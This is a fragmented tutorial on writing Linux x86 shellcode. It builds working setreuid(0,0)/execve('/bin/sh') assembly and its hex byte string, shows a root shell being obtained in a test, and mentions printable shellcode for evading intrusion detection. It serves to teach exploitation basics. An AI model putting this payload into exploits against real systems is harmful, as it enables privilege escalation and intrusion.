Beruflich Dokumente
Kultur Dokumente
name for a bit of position independant machine readable code that can be dir
ectly
executed by the cpu. Shellcode must always be position independant - you c
annot
access any values through static addresses, as these address will not be static
.globl _start
_start:
xor %eax, %eax # xor anything with itself is 0, so %eax = 0
movb $1, %al # move byte 1 into al(a low), eax contains syscall number
Assemble.
Link.
Disassemble.
08048094 <_start>:
8048094: 31 c0 xor %eax,%eax
8048096: b0 01 mov $0x1,%al
8048098: 31 db xor %ebx,%ebx
804809a: cd 80 int $0x80
^ ^ ^
Address Opcode / Machine Code Assembly
What we are concerned with here is the machine code, so lets make a string
Notice that I commented out the exit(0); as the shellcode will be preforming
that
for us. Compile and run.
Here we can see the first syscall execve executing out program, followed by
the opening of the dynamic linker/loader ld.so (first preload then cache) to
load shared libraries, followed by the opening of libc, followed by its
idenitifcation as an ELF file ("\177ELF"), followed by our programing being
cannot use static addresses how can we possibly get the address of the string
to write? If you remember that what the instruction call does, call pushes the
next value following it (the return value normally) onto the stack then transf
ers
control to the symbol following call. So if we put the address of our string
directly after a call instruction, when call has transfered control to the symbo
l
following it the address of our string will be on the top of the stack and we
can just pop it off. Thats what we'll do. Also remeber that anything xor'ed
with itself is going to be 0 so its a good way to get something 0 without a
movl $0, %reg. Ok we are going to need a write, and an exit so lets get the
syscall number and the function definition of these.
[...snip...]
[...snip...]
write() takes the file descriptor to write to (we'll use STDOUT 1), an address
of the string to write, and its length.
[...snip...]
[...snip...]
.globl _start
_start:
jmp do_call # 1. jump down and do a call to get the address
jmp_back: # 4. the call transfered control here
xor %eax, %eax # 5. set eax to 0
xor %ebx, %ebx # 6. set ebx to 0
xor %ecx, %ecx # 7. set ecx to 0
xor %edx, %edx # 8. set edx to 0
movb $4, %al # 9. 4 is syscall number for write(int fd,char *str, int len)
movb $14, %dl # 10. put 14 into dl(d low) its the string length
popl %ecx # 11. pop the adrress off the stack, which is the string addr
movb $1, %bl # 12. put 1 into bl(b low), its the fd to write to STDOUT
int $0x80 # 13. call the kernel
xor %eax, %eax # 14. set eax to 0
movb $1, %al # 15. 1 is syscall number for exit
xor %ebx, %ebx # 16. set ebx to 0, its the return value
int $0x80 # 17. call kernel
do_call: # 2. about to execute the call, notice hello: symbol following
call jmp_back # 3. now we have the address of hello on the stack jmp_ba
ck
hello:
.ascii "Hello, World!\n"
08048094 <_start>:
8048094: eb 19 jmp 80480af <do_call>
08048096 <jmp_back>:
8048096: 31 c0 xor %eax,%eax
8048098: 31 db xor %ebx,%ebx
804809a: 31 c9 xor %ecx,%ecx
804809c: 31 d2 xor %edx,%edx
804809e: b0 04 mov $0x4,%al
80480a0: b2 0e mov $0xe,%dl
80480a2: 59 pop %ecx
80480a3: b3 01 mov $0x1,%bl
80480a5: cd 80 int $0x80
80480a7: 31 c0 xor %eax,%eax
80480a9: b0 01 mov $0x1,%al
80480ab: 31 db xor %ebx,%ebx
80480ad: cd 80 int $0x80
080480af <do_call>:
80480af: e8 e2 ff ff ff call 8048096 <jmp_back>
080480b4 <hello>:
80480b4: 48 dec %eax
80480b5: 65 gs
80480b6: 6c insb (%dx),%es:(%edi)
80480b7: 6c insb (%dx),%es:(%edi)
80480b8: 6f outsl %ds:(%esi),(%dx)
80480b9: 2c 20 sub $0x20,%al
80480bb: 57 push %edi
80480bc: 6f outsl %ds:(%esi),(%dx)
80480bd: 72 6c jb 804812b <hello+0x77>
80480bf: 64 21 0a and %ecx,%fs:(%edx)
The assembly is all pretty understandable until you get down to the <hello>
symbol, but if you take a look at an extended ascii chart it will be much clear
er.
48 hex is, if you notice, a capital 'H', 65 hex is and 'e', 6c is an 'l' ....
these hex chars are also machine code, they are just being interpereted differ
ently.
For example '31' can be interperted many different ways depending on how t
he
programmer is representing it, if printing it out so as to represent it as a
printable character as in printf("%c\n", 0x31); it print's '1' because as you
can see the char '1' in hex according to the ascii chart is 31. If it is an
opcode as in our disassembly above "31 c0 xor %eax,%eax"
31 is the machine code for the instruction 'xor'. Its important to rememeber th
is.
So the assembly following the <hello> symbol is really:
H e l l o , W o r l d ! \n
48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
eb 19 31 c0 31 db 31 c9 31 d2 b0 04 b2 0e 59 b3 01
cd 80 31 c0 b0 01 31 db cd 80 e8 e2 ff ff ff 48 65
6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
And make a C string out of it, hex chars need a '\x' in front of them:
"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb2\x0e\x59\xb3\x01
\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65
\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"
[...snip...]
[...snip...]
You can see the write syscall, and take a look at the disassembly in gdb.
Here again we can see our jump to the call "jmp 0x80495db <shellcode+2
7>",
and call pushes the next address which is 0x080495e0 (the start of our string
)
and jumps back to address 0x80495c2 which is "<shellcode+2>: xor %ea
x,%eax",
and we now have the address we want on the top of the stack.
So how about some real shellcode. First were goign to have to call setreuid()
it 0 incase the program we are exploiting drops privs. Next we are going to
have to call execve() to execute the shell namely /bin/sh. Again we need the
[...snip...]
[...snip...]
[...snip...]
int execve(const char *filename, char *const argv [], char *const envp[]);
[...snip...]
Ok this ones a little harder. So were going to need a null terminated string,
the address of the string and a * null pointer in adjacent memory, that should
of our string, and YYYY (4 bytes) is the address of the envp[] pointer( whic
h we are
goign to call with *NULL). When we are all set to go %eax should have 11 i
n it, %ebx
should have the string address in it, %ecx should have the address of %ebx in
it
and %edx should have the address of the (char **)NULL string in it.
.globl _start
_start:
# our setreuid(0,0) call
xor %eax, %eax # clear out eax
movb $70, %al # mov 70 int al
xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid)
xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid)
int $0x80 # call kernel
# go get the address with the call trick
jmp do_call
jmp_back:
pop %ebx # ebx has the address of our string, use it to index
xor %eax, %eax # set eax to 0
movb %al, 7(%ebx) # put a null at the N aka shell[7]
movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8]
movl %eax, 12(%ebx) # put the null at shell[12]
# our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we wa
nt.
xor %eax, %eax # clear out eax
movb $11, %al # put 11 which is execve syscall number into al
leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx
leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx
int $0x80 # call kernel
do_call:
call jmp_back
shell:
.ascii "/bin/shNXXXXYYYY"
Thats odd, the code looks to be correct? Lets step through it, in order to
break at _start with gdb we have to temporarily put a nop after the _start:
label and assemble with -g.
.globl _start
_start:
# our setreuid(0,0) call
nop
xor %eax, %eax # clear out eax
movb $70, %al # mov 70 int al
xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid)
xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid)
int $0x80 # call kernel
# go get the address with the call trick
jmp do_call
jmp_back:
pop %ebx # ebx has the address of our string, use it to index
xor %eax, %eax # set eax to 0
movb %al, 7(%ebx) # put a null at the N aka shell[7]
movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8]
movl %eax, 12(%ebx) # put the null at shell[12]
# our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we wa
nt.
xor %eax, %eax # clear out eax
movb $11, %al # put 11 which is execve syscall number into al
leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx
leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx
int $0x80 # call kernel
do_call:
call jmp_back
shell:
.ascii "/bin/shNXXXXYYYY"
entropy@phalaris {~/asm/shellcode}
Ok thats odd were not allowed to write to our string? Why is that?
Lets check out our sections:
Program Header:
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2*
*12
filesz 0x000000ce memsz 0x000000ce flags r-x
LOAD off 0x000000d0 vaddr 0x080490d0 paddr 0x080490d0 align 2*
*12
filesz 0x00000000 memsz 0x00000000 flags rw-
PAX_FLAGS off 0x00000000 vaddr 0x00000000 paddr 0x00000000 alig
n 2**2
filesz 0x00000000 memsz 0x00000000 flags --- 2800
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000003a 08048094 08048094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 00000000 080490d0 080490d0 000000d0 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 080490d0 080490d0 000000d0 2**2
ALLOC
3 .debug_aranges 00000020 00000000 00000000 000000d0 2**3
CONTENTS, READONLY, DEBUGGING
4 .debug_info 00000051 00000000 00000000 000000f0 2**0
CONTENTS, READONLY, DEBUGGING
5 .debug_abbrev 00000014 00000000 00000000 00000141 2**0
CONTENTS, READONLY, DEBUGGING
6 .debug_line 00000043 00000000 00000000 00000155 2**0
CONTENTS, READONLY, DEBUGGING
SYMBOL TABLE:
08048094 l d .text 00000000
080490d0 l d .data 00000000
080490d0 l d .bss 00000000
00000000 l d .debug_aranges 00000000
00000000 l d .debug_info 00000000
00000000 l d .debug_abbrev 00000000
00000000 l d .debug_line 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
080480b9 l .text 00000000 do_call
080480a1 l .text 00000000 jmp_back
080480be l .text 00000000 shell
08048094 g .text 00000000 _start
080490d0 g *ABS* 00000000 __bss_start
080490d0 g *ABS* 00000000 _edata
080490d0 g *ABS* 00000000 _end
Here is the problem our shell string is in the .text or code section that is
marked read only, as seen above:
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000003a 08048094 08048094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
Program Header:
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2*
*12
filesz 0x00000094 memsz 0x00000094 flags r-x
LOAD off 0x00000094 vaddr 0x08049094 paddr 0x08049094 align 2*
*12
filesz 0x00000039 memsz 0x0000003c flags rw-
PAX_FLAGS off 0x00000000 vaddr 0x00000000 paddr 0x00000000 alig
n 2**2
filesz 0x00000000 memsz 0x00000000 flags --- 2800
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000000 08048094 08048094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 00000039 08049094 08049094 00000094 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 080490d0 080490d0 000000cd 2**2
ALLOC
3 .debug_aranges 00000020 00000000 00000000 000000d0 2**3
CONTENTS, READONLY, DEBUGGING
4 .debug_info 00000051 00000000 00000000 000000f0 2**0
CONTENTS, READONLY, DEBUGGING
5 .debug_abbrev 00000014 00000000 00000000 00000141 2**0
CONTENTS, READONLY, DEBUGGING
6 .debug_line 00000042 00000000 00000000 00000155 2**0
CONTENTS, READONLY, DEBUGGING
SYMBOL TABLE:
08048094 l d .text 00000000
08049094 l d .data 00000000
080490d0 l d .bss 00000000
00000000 l d .debug_aranges 00000000
00000000 l d .debug_info 00000000
00000000 l d .debug_abbrev 00000000
00000000 l d .debug_line 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
080490b8 l .data 00000000 do_call
080490a0 l .data 00000000 jmp_back
080490bd l .data 00000000 shell
08049094 g .data 00000000 _start
080490cd g *ABS* 00000000 __bss_start
080490cd g *ABS* 00000000 _edata
080490d0 g *ABS* 00000000 _end
sh-2.05b$ exit
exit
So that works, now that we have all our code in the .data section to get
our machine code we need to use the -D. First reassemble and link without
debugging info.
entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o
080490a0 <jmp_back>:
80490a0: 5b pop %ebx
80490a1: 31 c0 xor %eax,%eax
80490a3: 88 43 07 mov %al,0x7(%ebx)
80490a6: 89 5b 08 mov %ebx,0x8(%ebx)
80490a9: 89 43 0c mov %eax,0xc(%ebx)
80490ac: 31 c0 xor %eax,%eax
80490ae: b0 0b mov $0xb,%al
80490b0: 8d 4b 08 lea 0x8(%ebx),%ecx
80490b3: 8d 53 0c lea 0xc(%ebx),%edx
80490b6: cd 80 int $0x80
080490b8 <do_call>:
80490b8: e8 e3 ff ff ff call 80490a0 <jmp_back>
080490bd <shell>:
80490bd: 2f das
80490be: 62 69 6e bound %ebp,0x6e(%ecx)
80490c1: 2f das
80490c2: 73 68 jae 804912c <_end+0x5c>
80490c4: 4e dec %esi
80490c5: 58 pop %eax
80490c6: 58 pop %eax
80490c7: 58 pop %eax
80490c8: 58 pop %eax
80490c9: 59 pop %ecx
80490ca: 59 pop %ecx
80490cb: 59 pop %ecx
80490cc: 59 pop %ecx
31 c0 b0 46 31 c9 31 db cd 80 eb 18 5b 31 c0 88 43 07
89 5b 08 89 43 0c 31 c0 b0 0b 8d 4b 08 8d 53 0c cd 80
e8 e3 ff ff ff 2f 62 69 6e 2f 73 68 4e 58 58 58 58 59
59 59 59
31 c0 b0 46 31 c9 31 db cd 80 eb 18 5b 31 c0 88 43 07
89 5b 08 89 43 0c 31 c0 b0 0b 8d 4b 08 8d 53 0c cd 80
e8 e3 ff ff ff 2f 62 69 6e 2f 73 68
Now we have the code that can be injected, lets try it on our test.
sh-2.05b# id
uid=0(root) gid=100(users) groups=6(disk),10(wheel),18(audio),100(users)
sh-2.05b# whoami
root
sh-2.05b# exit
exit
entropy@phalaris {~/asm/shellcode}
Theres many ways to make this shell code smaller, and with shellcode the
smaller the better. You can also make this shellcode consist of printable
characters only, so it can slip through IDS and filters, but I'll save
this for another